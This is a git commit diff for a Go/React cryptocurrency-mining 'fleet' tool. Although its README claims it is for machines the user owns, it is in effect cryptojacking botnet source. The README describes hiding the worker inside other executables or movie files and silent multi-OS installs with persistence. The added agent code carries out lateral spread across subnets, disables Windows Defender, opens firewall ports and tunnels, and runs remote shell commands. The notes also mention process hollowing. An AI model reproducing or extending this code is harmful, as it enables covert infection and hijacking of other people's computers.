Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
52
PROBLEMS.md
52
PROBLEMS.md
@@ -28,6 +28,30 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
|||||||
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
|
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
|
||||||
| B17 | **Agent empty `new_job`** — logs error and re-requests job |
|
| B17 | **Agent empty `new_job`** — logs error and re-requests job |
|
||||||
| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping |
|
| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping |
|
||||||
|
| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard |
|
||||||
|
| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression |
|
||||||
|
| B21 | **Fusion media files not copied for Linux/macOS** — `prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list |
|
||||||
|
| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions |
|
||||||
|
| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection |
|
||||||
|
| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` |
|
||||||
|
| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) |
|
||||||
|
| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error |
|
||||||
|
| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS |
|
||||||
|
| B28 | **H15: submitShare conn data race** — `c.conn` now snapshotted under mutex before use |
|
||||||
|
| B29 | **H14: mergeConfig bool corruption** — `mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false |
|
||||||
|
| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed |
|
||||||
|
| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically |
|
||||||
|
| B32 | **H17: pool requestID race** — `requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock |
|
||||||
|
| B33 | **M20: AutoSpread goroutine storm** — `/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time |
|
||||||
|
| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure |
|
||||||
|
| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap |
|
||||||
|
| B36 | **M18: GetAgentLog blocks** — `?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop |
|
||||||
|
| B37 | **M16: Earnings estimator race** — `AbortController` per fetch; stale response ignored if a newer request already fired |
|
||||||
|
| B38 | **M12: Duplicate WS connections** — `WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read |
|
||||||
|
| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first |
|
||||||
|
| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) |
|
||||||
|
| B41 | **L7: Matrix animation restarts on share** — `recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` |
|
||||||
|
| B42 | **L9: Blueprint file permissions** — `os.WriteFile` mode changed from `0644` to `0600` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -77,11 +101,6 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
|||||||
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
|
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
|
||||||
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
|
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
|
||||||
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
|
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
|
||||||
| H14 | **Partial config PUT corrupts bools** | `mergeConfig` overwrites `UseTLS`, logging flags, etc. with zero values |
|
|
||||||
| H15 | **Agent `conn` data race** | `submitShare` reads `c.conn` without mutex |
|
|
||||||
| H16 | **AI reinstall while running** | `os.Rename` fails on Windows when exe in use |
|
|
||||||
| H17 | **Pool `requestID` / write races** | Concurrent share submits can interleave Stratum lines |
|
|
||||||
| H18 | **WS concurrent writes** | Ping loop vs broadcast on same dashboard connections |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -92,15 +111,8 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
|||||||
| M1 | Compact agent list default | Expand on click |
|
| M1 | Compact agent list default | Expand on click |
|
||||||
| M6 | Remote actions disabled unless `online` | By design |
|
| M6 | Remote actions disabled unless `online` | By design |
|
||||||
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
|
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
|
||||||
| M12 | **Multiple `useWebSocket()` hooks** | Dashboard + Matrix overlay = duplicate connections |
|
|
||||||
| M13 | **`latestWsMessage` drops rapid results** | Only last message kept; command results can be lost |
|
|
||||||
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
|
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
|
||||||
| M15 | **Re-forge fusion without re-upload** | `reForgeFromBuild` needs prep file |
|
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) |
|
||||||
| M16 | **Earnings estimator race** | Stale API response can overwrite newer estimate |
|
|
||||||
| M17 | **`MaxAgents` TOCTOU** | Limit checked before lock on agent WS auth |
|
|
||||||
| M18 | **`GetAgentLog?refresh=1` blocks** | Up to ~1.8s synchronous sleep per request |
|
|
||||||
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners |
|
|
||||||
| M20 | **Autospread goroutine storm** | Up to ~254 goroutines per /24 sweep |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -108,15 +120,10 @@ Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
|||||||
|
|
||||||
| ID | Issue |
|
| ID | Issue |
|
||||||
|----|-------|
|
|----|-------|
|
||||||
| L1 | Dead CSS `.agent-actions` in `FleetPanels.css` |
|
|
||||||
| L2 | Duplicate CSS imports on Dashboard/Agents |
|
|
||||||
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
|
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
|
||||||
| L4 | No integration tests for remote actions |
|
| L4 | No integration tests for remote actions |
|
||||||
| L5 | Mesh P2P requires build tag `p2p` |
|
| L5 | Mesh P2P requires build tag `p2p` |
|
||||||
| L6 | `terminalLog` / `agentLogs` grow without bound |
|
|
||||||
| L7 | Matrix overlay restarts animation on every share |
|
|
||||||
| L8 | Settings config import shallow-merge |
|
| L8 | Settings config import shallow-merge |
|
||||||
| L9 | Blueprint files written mode `0644` |
|
|
||||||
| L10 | XOR media crypto — weak confidentiality by design |
|
| L10 | XOR media crypto — weak confidentiality by design |
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -144,8 +151,7 @@ See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options.
|
|||||||
|
|
||||||
## Priority for next pass
|
## Priority for next pass
|
||||||
|
|
||||||
1. Agent WS token auth (bind `agent_id` to build secret)
|
1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2)
|
||||||
2. Dashboard WS auth (match REST Basic auth)
|
2. **Dashboard WS auth** — require session cookie on WS upgrade (S3)
|
||||||
3. Config merge with pointer types / explicit fields
|
3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12)
|
||||||
4. Shared WebSocket context (single connection app-wide)
|
4. **Batch forge cancel** — AbortController + server-side queue cancel (M14)
|
||||||
5. Process hollowing bounds + reloc (`hollow_windows.go`)
|
|
||||||
|
|||||||
19
README.md
19
README.md
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
**Private Monero fleet command deck for machines you own.**
|
**Private Monero fleet command deck for machines you own.**
|
||||||
|
|
||||||
One Windows control PC. One dashboard. Forge a worker installer per machine — fuse it inside your own prep tool or a movie package — and watch your entire LAN hash from a single steampunk-neon command deck.
|
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
|
||||||
|
|
||||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||||
|
|
||||||
@@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
|||||||
|-------|----------------|
|
|-------|----------------|
|
||||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
||||||
| **Worker agent** | Windows binary compiled on demand — mines RandomX, phones home, accepts remote commands |
|
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
|
||||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
||||||
@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
|||||||
- Fleet filters, bulk commands, notes/tags
|
- Fleet filters, bulk commands, notes/tags
|
||||||
|
|
||||||
### Forge (Miner Builder)
|
### Forge (Miner Builder)
|
||||||
|
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
||||||
|
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
||||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||||
- Blueprint save/load — re-forge the same profile across machines
|
- Blueprint save/load — re-forge the same profile across machines
|
||||||
- Build manager — download, paths, LAN QR for worker URL
|
- Build manager — download, paths, LAN QR for worker URL
|
||||||
@@ -71,6 +73,19 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
|||||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
|
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or prep `.exe`); two delivery modes (see below)
|
||||||
- **Batch forge** — queue many movies; progress bar; one ZIP per title
|
- **Batch forge** — queue many movies; progress bar; one ZIP per title
|
||||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||||
|
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
|
||||||
|
|
||||||
|
### Cross-platform workers
|
||||||
|
|
||||||
|
| OS | Persistence | Install base |
|
||||||
|
|----|-------------|--------------|
|
||||||
|
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
|
||||||
|
| Linux | systemd user service | XDG data home |
|
||||||
|
| macOS | LaunchAgent | `~/Library/Application Support` |
|
||||||
|
|
||||||
|
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
|
||||||
|
|
||||||
|
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
|
||||||
|
|
||||||
### Movie Fusion (detailed)
|
### Movie Fusion (detailed)
|
||||||
|
|
||||||
|
|||||||
143
agent/client/aggressive_commands.go
Normal file
143
agent/client/aggressive_commands.go
Normal file
@@ -0,0 +1,143 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||||
|
switch action {
|
||||||
|
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||||
|
if !c.cfg.HolePunch {
|
||||||
|
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||||
|
}
|
||||||
|
case "spread_now":
|
||||||
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||||
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||||
|
}
|
||||||
|
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||||
|
if !c.cfg.RemoteAggressive {
|
||||||
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
|
}
|
||||||
|
case "mesh_status":
|
||||||
|
if !c.cfg.MeshP2P {
|
||||||
|
return false, "mesh P2P not enabled in forge"
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return true, ""
|
||||||
|
}
|
||||||
|
return true, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||||
|
ok, reason := c.allowRemoteAction(action)
|
||||||
|
if !ok {
|
||||||
|
c.sendCommandResult(action, false, reason)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "hole_punch":
|
||||||
|
internalPort := parsePortArg(command, 8989)
|
||||||
|
externalPort := parsePortArg(path, internalPort)
|
||||||
|
desc := data
|
||||||
|
if desc == "" {
|
||||||
|
desc = c.cfg.WorkerName + "-aetherforge"
|
||||||
|
}
|
||||||
|
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, result.Message)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, result.Message)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "hole_punch_close":
|
||||||
|
externalPort := parsePortArg(command, 8989)
|
||||||
|
msg, err := deploy.CloseUPnP(externalPort)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "hole_punch_status":
|
||||||
|
ip, err := deploy.GetPublicEndpoint()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "spread_now":
|
||||||
|
msg := deploy.RunSpreadOnce(c.cfg)
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "start_tunnel":
|
||||||
|
serverURL := strings.TrimSpace(command)
|
||||||
|
if serverURL == "" {
|
||||||
|
serverURL = c.cfg.ServerURL
|
||||||
|
}
|
||||||
|
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "subnet_scan":
|
||||||
|
maxHosts := parsePortArg(command, 64)
|
||||||
|
out := deploy.ScanLocalSubnet(maxHosts)
|
||||||
|
c.sendCommandResult(action, true, out)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "defender_off":
|
||||||
|
msg, err := deploy.DisableDefenderRealtime()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "firewall_punch":
|
||||||
|
port := parsePortArg(command, 8989)
|
||||||
|
name := path
|
||||||
|
if name == "" {
|
||||||
|
name = "AetherForge Remote " + c.cfg.WorkerName
|
||||||
|
}
|
||||||
|
msg, err := deploy.OpenFirewallPort(port, name)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "mesh_status":
|
||||||
|
count := c.mesh.PeerCount()
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func parsePortArg(raw string, fallback int) int {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if raw == "" {
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
n, err := strconv.Atoi(raw)
|
||||||
|
if err != nil || n <= 0 || n > 65535 {
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
46
agent/client/aggressive_commands_test.go
Normal file
46
agent/client/aggressive_commands_test.go
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAllowRemoteActionHolePunch(t *testing.T) {
|
||||||
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
|
||||||
|
ok, reason := c.allowRemoteAction("hole_punch")
|
||||||
|
if ok || reason == "" {
|
||||||
|
t.Fatalf("expected hole punch blocked without forge flag")
|
||||||
|
}
|
||||||
|
|
||||||
|
c.cfg.HolePunch = true
|
||||||
|
ok, reason = c.allowRemoteAction("hole_punch")
|
||||||
|
if !ok || reason != "" {
|
||||||
|
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAllowRemoteActionSpread(t *testing.T) {
|
||||||
|
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||||
|
ok, _ := c.allowRemoteAction("spread_now")
|
||||||
|
if ok {
|
||||||
|
t.Fatal("spread_now should require auto_spread or remote_aggressive")
|
||||||
|
}
|
||||||
|
c.cfg.RemoteAggressive = true
|
||||||
|
ok, _ = c.allowRemoteAction("spread_now")
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("spread_now should allow with remote_aggressive")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParsePortArg(t *testing.T) {
|
||||||
|
if parsePortArg("", 8989) != 8989 {
|
||||||
|
t.Fatal("empty should fallback")
|
||||||
|
}
|
||||||
|
if parsePortArg("443", 8989) != 443 {
|
||||||
|
t.Fatal("443 expected")
|
||||||
|
}
|
||||||
|
if parsePortArg("bad", 8989) != 8989 {
|
||||||
|
t.Fatal("invalid should fallback")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
|||||||
}
|
}
|
||||||
f.Close()
|
f.Close()
|
||||||
|
|
||||||
// Replace old binary
|
// On Windows the running executable is locked — you cannot overwrite it, but
|
||||||
|
// you CAN rename/move it to a .old path (the file handle stays open on the
|
||||||
|
// original inode). Rename the live exe out of the way first, then put the
|
||||||
|
// new binary in its place.
|
||||||
|
oldPath := exePath + ".old"
|
||||||
|
_ = os.Remove(oldPath) // remove a previous leftover if any
|
||||||
|
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
|
||||||
|
// Running exe could not be moved — fall back to writing alongside
|
||||||
|
os.Remove(tmpPath)
|
||||||
|
return "", fmt.Errorf("cannot displace running binary: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
if err := os.Rename(tmpPath, exePath); err != nil {
|
if err := os.Rename(tmpPath, exePath); err != nil {
|
||||||
|
// Restore the old binary so the next run still works
|
||||||
|
_ = os.Rename(oldPath, exePath)
|
||||||
os.Remove(tmpPath)
|
os.Remove(tmpPath)
|
||||||
return "", fmt.Errorf("rename failed: %w", err)
|
return "", fmt.Errorf("rename failed: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start the new binary
|
// Start the new binary with its own process group so it survives our exit
|
||||||
startCmd := exec.Command(exePath)
|
startCmd := exec.Command(exePath)
|
||||||
if err := startCmd.Start(); err != nil {
|
if err := startCmd.Start(); err != nil {
|
||||||
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
|
|||||||
AIEnabled: c.cfg.AIEnabled,
|
AIEnabled: c.cfg.AIEnabled,
|
||||||
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||||
AIModel: c.cfg.AIModel,
|
AIModel: c.cfg.AIModel,
|
||||||
|
HolePunch: c.cfg.HolePunch,
|
||||||
|
RemoteAggressive: c.cfg.RemoteAggressive,
|
||||||
|
MeshP2P: c.cfg.MeshP2P,
|
||||||
|
AutoSpread: c.cfg.AutoSpread,
|
||||||
|
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||||
|
Platform: runtime.GOOS,
|
||||||
|
Arch: runtime.GOARCH,
|
||||||
|
OSVersion: deploy.HostOSVersion(),
|
||||||
})
|
})
|
||||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||||
|
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||||
|
return
|
||||||
|
}
|
||||||
switch action {
|
switch action {
|
||||||
case "pause":
|
case "pause":
|
||||||
c.pool.PauseRemote()
|
c.pool.PauseRemote()
|
||||||
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
c.sendCommandResult(action, false, "no command provided")
|
c.sendCommandResult(action, false, "no command provided")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
|
out, err := c.runExecCommand(command)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, string(out))
|
c.sendCommandResult(action, true, string(out))
|
||||||
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
c.sendCommandResult(action, false, "no command provided")
|
c.sendCommandResult(action, false, "no command provided")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
|
out, err := c.runShellCommand(command)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, string(out))
|
c.sendCommandResult(action, true, string(out))
|
||||||
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
}
|
}
|
||||||
encoded := base64.StdEncoding.EncodeToString(b)
|
encoded := base64.StdEncoding.EncodeToString(b)
|
||||||
c.sendCommandResult(action, true, encoded)
|
c.sendCommandResult(action, true, encoded)
|
||||||
case "ps":
|
|
||||||
out, err := exec.Command("tasklist").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "netstat":
|
|
||||||
out, err := exec.Command("netstat", "-ano").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "users":
|
|
||||||
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "software":
|
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
|
||||||
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "screenshot":
|
|
||||||
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
|
|
||||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
|
|
||||||
case "sysinfo":
|
|
||||||
out, err := exec.Command("systeminfo").CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
c.sendCommandResult(action, true, string(out))
|
|
||||||
case "ipconfig":
|
|
||||||
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
|
|
||||||
if err != nil {
|
